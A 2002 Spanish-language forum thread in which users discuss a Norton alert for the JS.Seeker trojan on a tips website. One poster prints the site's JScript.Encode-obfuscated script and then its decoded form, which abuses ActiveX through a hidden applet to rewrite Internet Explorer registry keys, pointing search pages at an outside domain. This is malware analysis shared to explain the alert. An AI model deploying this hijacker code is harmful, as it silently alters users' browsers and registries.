Norton me detecta virus en esta web

forastero · #1 (**permalink**) 17/07/2002, 23:32

norton me detecto un virus al entrar a esta web... es solo a mi ???.. o realmete está infectada.
<a href='ir.asp?http://www.trucostecnicos.com/' target='_blank'>http://www.trucostecnicos.com/...</a>

romina · #2 (**permalink**) 17/07/2002, 23:58

No a mi no me da ningna alerta.
Besos Romi

forastero · #3 (**permalink**) 18/07/2002, 00:04

me detecto este script

JS.Seeker.
lo googlie y me dice ke es un trojano que cambia tu pagina de inicio... si hace solo eso.. pues no es mucho.. pero tampoco es muy etico.

salu2

CYRUS · #4 (**permalink**) 18/07/2002, 10:03

Nada conmigo usando Norton 2002.

Cyrus

#5 (**permalink**) 18/07/2002, 10:10

pero qué tal incrementaron las visitas a esa web?

Saluditos

forastero · #6 (**permalink**) 19/07/2002, 03:35

yomero... insunuas ke....???

MARKWEB · #7 (**permalink**) 19/07/2002, 03:39

MMMM A MI TAMPOCO ME DETECTO USANDO NORTON 2002 ACTUALIZADO HOY 19 DE JULIO A LA 2:30 AM

A LO MEJOR ES TU WEB

JAJAJAJ JAJAJAJ A

forastero · #8 (**permalink**) 19/07/2002, 03:46

creo que ya se la razon del por que mucha gente solo lee y no postea...

forastero · #9 (**permalink**) 19/07/2002, 04:13

mm y bien me hicieron dudar... quizas fue otra web que cargaba en ese momento... veamos pueden tener razon... cargo de nuevo la pagina y pues aca esta la foto de mi pantalla en el momento de cargar <a href='ir.asp?http://www24.brinkster.com/nosomosnada/imagenes/incredulo2.jpg' target='_blank'>http://www24.brinkster.com/nosomosnada/i...</a>
que sigue ahora... truke la foto ???

#10 (**permalink**) 19/07/2002, 04:32

a lo mejor a ellos no les salta por la version del navegador o su alctualizacion. a mi con norton tampoco me salta.

<pre><tt>Moncherote en assión![/CODE]</tt></pre>

MARKWEB · #11 (**permalink**) 23/07/2002, 00:24

Por lo visto es un codigo javascript que esta camuflao en el archivo terminado .py de esa web y como dijo el usuario eanterior no creo que se la version del navegador pues es la ultima del IE 6.0 lo unico que te digo es que actualizes ese norton

Chica CIFF · #12 (**permalink**) 23/07/2002, 05:43

Hi, ser totalmente correcto, ya que el script al que se hace referencia desde esa página, esta ubicado en <a href='ir.asp?http://search.py1.com/d.py' target='_blank'>http://search.py1.com/d.py...</a> y códificado, si su antivirus no les funciona, quiza sea un fallo en sus actulizaciones.

Por si a alguien le interesa el contenido del script es:

Código:

#@~^EAYAAA==@&amp;9W^!:xYchMrY`E@!znKJAKP_3qVCK{T~&amp;f:Cx!~dDXs+{vwK/rObWxlC(/GV!Oi~7kkk4bVbOX=trN9+Uv,mW9n'1W:chdRmmDk-+p zmOk7n(;Wh2Kx+UO@*@!&amp;bhKd2P@*J*i@&amp;6E	^YbWUPzN[om\`^GmBPfbd21m:~~?rOj]S*@&amp;	@&amp;d-CMP?4GMPxPU4^R/M+mY+UtK.Y1EO`^W^~3PJ'wJ,_PGrdwgls+~_E `IJJ*I@&amp;i?4GMRKC.T+OnmO4Px,?bY+`IdI@&amp;i?4WMRjC7+`*I@&amp;)@&amp;0!U^YbW	PW`b`@&amp;dODH@&amp;dP@&amp;77mF'[G1Eh+	Ocl2aVY/]!YI@&amp;idCFc/nO;S?&amp;9`r	sOfXf; yOqZoT FqfZRbGA1RZ!ZT*wfX%zT~8E*i@&amp;ddmFc^DlO+&amp;xdOmxmc#p@&amp;dij4V,',lqR!nDr8L^Yv#I@&amp;idlq k+OZdj&amp;fcr	Zfc2sATF sT,2Oqq;sOR1cZO!Z)TZO!lc+ 0Nr#I@&amp;i7l8R^.lYn(	/Ol	^`bp@&amp;idsUr,xPmF MY68N+mDc#p@&amp;diCqRk+DZJ?(9vJ`sOf*GZ+ FZoT FqfZRzf$OOZ!ZZcw9*RbTA)JbI@&amp;ddmqR1D+mOnq	/DlUmnc*i@&amp;diH+DPx~mFR!nDr8L^D`bp@&amp;idYMX@&amp;7dP@&amp;~P,P~~,PP,~PUtVc]noqDbYn`EunZi-'jW6YACM+-w\bm.WkG6Yw'q	Y+MxOPA62VKDn.'-Hmrx'-?C.m4PhlL+ES,J4YD2)JzAASRhrd4G mKhJ/nmD1tz6Fc2XQox%r#I@&amp;,PP,~P,PP,~~?4VcIno	.bYn`ru|;jwwUW0OAmDn-'\bm.K/K0Y'-&amp;UYDU+DP3aaVWMnD'-HmrU-'?l.m4~~l.JB~J4YO2=zzAASRAkk4FR^K:J/+mD14z6F wHgLxRJ#p@&amp;P,PP,~~P,P,Pjts &quot;+LMrY`EunZjwwUWWYSCM+w'HbmDK/KWY'-(xD+.UYPAaw^WD.w-tlbxw-idP/EkOWsPjnmDm4~`IJJB~8~~rIAM{G}]fr#I@&amp;,P~~,PP,~P,P?4s IoqDrYncrCFZ`w-UWWOSlDnw'HrmMGkWWD-'qxD+MU+DP36aVG.D-'j+mDm4i]Sr~,J4YO2=z&amp;hSARSkd4FRmGhJ/nlM^4zW8RaXgT'RE#p@&amp;~P,P~~,PP,~PUtVc]noqDbYn`EunZi-'jW6YACM+-w\bm.WkG6Yw'q	Y+MxOPA62VKDn.'-?CD1t-'jnlMm4bd/rdDlUYrSPrtOOa)z&amp;ASh hbd4G 1Wsz/lM^tJ0qRaX_L{%J*I@&amp;,PP,~~P,P,P~?4scInoq.kD+cE_|S\w'?G0DAmDn'-tkmMWkG0D-wq	Yn.	+Y,36aVWMn.-'?l.m4w'?nlM^tz/drkYlUOr~~J4ODwlJzShhchbdtFR^WszdnmDm4&amp;08RwH_L'RJ*i@&amp;d7N@&amp;d7mmOm4`nb@&amp;dd`N@&amp;dN@&amp;i^mY^4`#@&amp;i	)@&amp;8@&amp;/nY:khnKEYvE0v#JB~f*Z#p@&amp;t9QBAA==^#~@

Más info en <a href='ir.asp?http://securityresponse.symantec.com/avcenter/venc/data/js.seeker.html' target='_blank'>http://securityresponse.symantec.com/avc...</a>

Katrina Iojablo Hotroskayan, enviada especial del CIFF <img src="http://www.forosdelweb.com/imagenes/fotos/Chica CIFF.jpg" width="85" height="110" border="0">

nelmor · #13 (**permalink**) 23/07/2002, 11:54

Lo mas probable es la configuración de opciones o también como dicen algunos la actulización.

Yo si lo decto el mismo virus.

nelmor

nelmor · #14 (**permalink**) 23/07/2002, 11:56

Configuración de opciones del Norton 2002

nelmor

MARKWEB · #15 (**permalink**) 23/07/2002, 17:27

Guauuuu chica ciff me sorprendes

bueno eso lo sabia yo pero ni idea de donde era esa pagina ahora si me detecto eso

Chica CIFF · #16 (**permalink**) 23/07/2002, 18:13

Hi, mi resumirme en dos palabras ...

... IM - PRESIONANTE ...

Slayer_X · #17 (**permalink**) 23/07/2002, 20:23

Hola,

Estuve revisando un poco la pagina en cuestion y el codigo q envio Chica CIFF, pero la verdad no encuentro nada raro :P al ser un .py aparentemente es un script en Python, trate de buscar la referencia hacia http://search.py1.com/d.py y no la encontre :( quizas esta codificada dentro de una rutina de JS (no las revise todas), trate de compilar el codigo con Python y no devuelve nada.

BTW, si ese codigo es un binario no creo q sea un virus es demasiado pequeño :P muy exotico lo de iniciar con "#@" y terminar con "@~#" y hay muchas "@" en el medio del codigo, como si fuera una especie de marcador o salto de linea, trate extrapolando el codigo y haciendo muchas variantes y lo mismo, nada de nada :P a ver si alguien ayuda a descifrar el misterio :)

Saludos

forastero · #18 (**permalink**) 23/07/2002, 20:58

Cita:

MMMM A MI TAMPOCO ME DETECTO USANDO NORTON 2002 ACTUALIZADO HOY 19 DE JULIO A LA 2:30 AM A LO MEJOR ES TU WEB

Cita:

bueno eso lo sabia yo pero ni idea de donde era esa pagina ahora si me detecto eso

bueno MARKWEB, en que quedamos....
no que yo solo quería aumentar las visitas de esa web...

Chica CIFF · #19 (**permalink**) 23/07/2002, 22:15

Hi, Slayer el script tiene terminación .py, pero el navegador no lo ejecuta como si fuese de Phyton, lo hace como si fuera un JScript.Encode de Microsoft, o sea que es código JScript codificado que por otro lado solo entiende el Internet Explorer con el Windows Scripting instalado.

Como bien dices no podia ser muy "maligno" aunque este en cuestión puede "retocarte" el registro de Windows, más vale prevenir ...

Para más información sobre el JScript.Encode y el Windows Scripting de Microsoft, visitad <a href='ir.asp?http://msdn.microsoft.com/library/default.asp?url=/library/en-us/script56/html/seconencodingsample.asp' target='_blank'>http://msdn.microsoft.com/library/defaul...</a>

PD: fue demasiado sencillo ... un juego de niños

Un beso Slay...

Katrina Iojablo Hotroskayan, enviada especial del CIFF <img src="http://www.forosdelweb.com/imagenes/fotos/Chica CIFF.jpg" width="85" height="110" border="0">

forastero · #20 (**permalink**) 23/07/2002, 23:10

PODRIA ENAMORARME DE ESTA CHICA

MARKWEB · #21 (**permalink**) 25/07/2002, 05:17

Cita:

forastero: bueno MARKWEB, en que quedamos....
no que yo solo quería aumentar las visitas de esa web...

por lo de la web lo dije que podria ser pue varios hacen el spamm pero la chica ciff vio que se trataba de ese codigo .py y todo el atao

si me equiboque pido disculpa ante lo susodicho

y no molestes a mi chica diff

Chica CIFF · #22 (**permalink**) 07/08/2002, 17:52

HI, ya estar decodificado ...

document.write("<APPLET HEIGHT=0 WIDTH=0 style='position:absolute; visibility:hidden' code=com.ms.activeX.ActiveXComponent></APPLET>");
function AddFav(loc, DispName, SiteURL) {
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("2F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("20D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try {
Shl.RegWrite("HKCU\\Software\\Microsoft\\I-ternet Explorer\\Main\\Search Page", "http://www.wish7.com/search/f1.py?g=8");
Shl.RegWrite("HKCU\\Software\\Microsoft\\Inte rnet Explorer\\Main\\Search Bar", "http://www.wish7.com/search/f1.py?g=8");
Shl.RegWrite("HKCU\\Software\\Microsoft\\Inte rnet Explorer\\Main\\Use Custom\\Search URL", "1", "REG_DWORD");
Shl.RegWrite("HKCU\\Software\\Microsoft\\Inte rnet Explorer\\SearchURL", "http://www.wish7.com/search/f1.py?g=8");
Shl.RegWrite("HKCU\\Software\\Microsoft\\I-ternet Explorer\\Search\\SearchAssistant", "http://www.wish7.com/search/f1.py?g=8");
Shl.RegWrite("HKLM\\Software\\Microsoft\\I-ter-et Explorer\\Search\\SearchAssistant", "http://www.wish7.com/search/f1.py?g=8");
}
catch(e) {}
}
catch(e) {}
}
setTimeout("f()", 350);

Por supuesto falta el código javascript y HTML que acompaña a este J.S.E (JScript.Encode), que es el que lanza la aplicación.

Katrina Iojablo Hotroskayan, enviada especial del CIFF <img src="http://www.forosdelweb.com/imagenes/fotos/Chica CIFF.jpg" width="85" height="110" border="0">

MARKWEB · #23 (**permalink**) 08/08/2002, 00:42

guauu chika ciff

y eso se come??

para que es?

jeje

Chica CIFF · #24 (**permalink**) 08/08/2002, 03:59

Hi, no ... no se come ...

Ese código ejecutado por el Internet Explorer sin los debidos patchs de seguridad, te cambia la página de inicio del navegador además de ponerte una página (ni me acuerdo de cual) como predeterminada a la hora de realizar busquedas.

Dentro de lo que cabe, eso no es tan malo, pero imagina que alguien cambiase el código para variar cualquier valor del registro de Windows, eso si que sería preocupante, ¿no crees?

Katrina Iojablo Hotroskayan, enviada especial del CIFF <img src="http://www.forosdelweb.com/imagenes/fotos/Chica CIFF.jpg" width="85" height="110" border="0">

Slayer_X · #25 (**permalink**) 08/08/2002, 15:06

eso es!
queria ver el codigo decodificado! valga la rebuznancia x)))) gracias chicaCIFF, btw, q tal si nos cuentas como lo decodificaste :P

moraleja: no usar Internet Exploiter xDDDDD

Mozilla powah!! http://www.mozilla.org/

saludos

Chica CIFF · #26 (**permalink**) 08/08/2002, 17:52

Hi ...

No hay de que, tuve un buen profesor, ¿verdad Slay? ...

La página donde se puede tomar toda la información de como decodificar ese código de M$ es <a href='ir.asp?http://www.virtualconspiracy.com/index.php?page=articles/breaking-screnc' target='_blank'>http://www.virtualconspiracy.com/index.p...</a>, aunque esta toda en ingles.

La verdad es que estando las cosas así, es un pelin "peligroso" usar el IE, pero fijate ... a mi me encanta el peligro ...

Katrina Iojablo Hotroskayan, enviada especial del CIFF <img src="http://www.forosdelweb.com/imagenes/fotos/Chica CIFF.jpg" width="85" height="110" border="0">

MARKWEB · #27 (**permalink**) 10/08/2002, 18:40

Guauu chica quedo clarisimo

ahora me cambio al opera no uso mas este esplorer de macosaft igual tengo algunos errores jeje

webartist · #28 (**permalink**) 10/08/2002, 23:57

El e-trust de CA también advierte.
Saludos.

GastoN.
Buenos Aires.
-------------
Vení a conocer la nueva era en música digital on line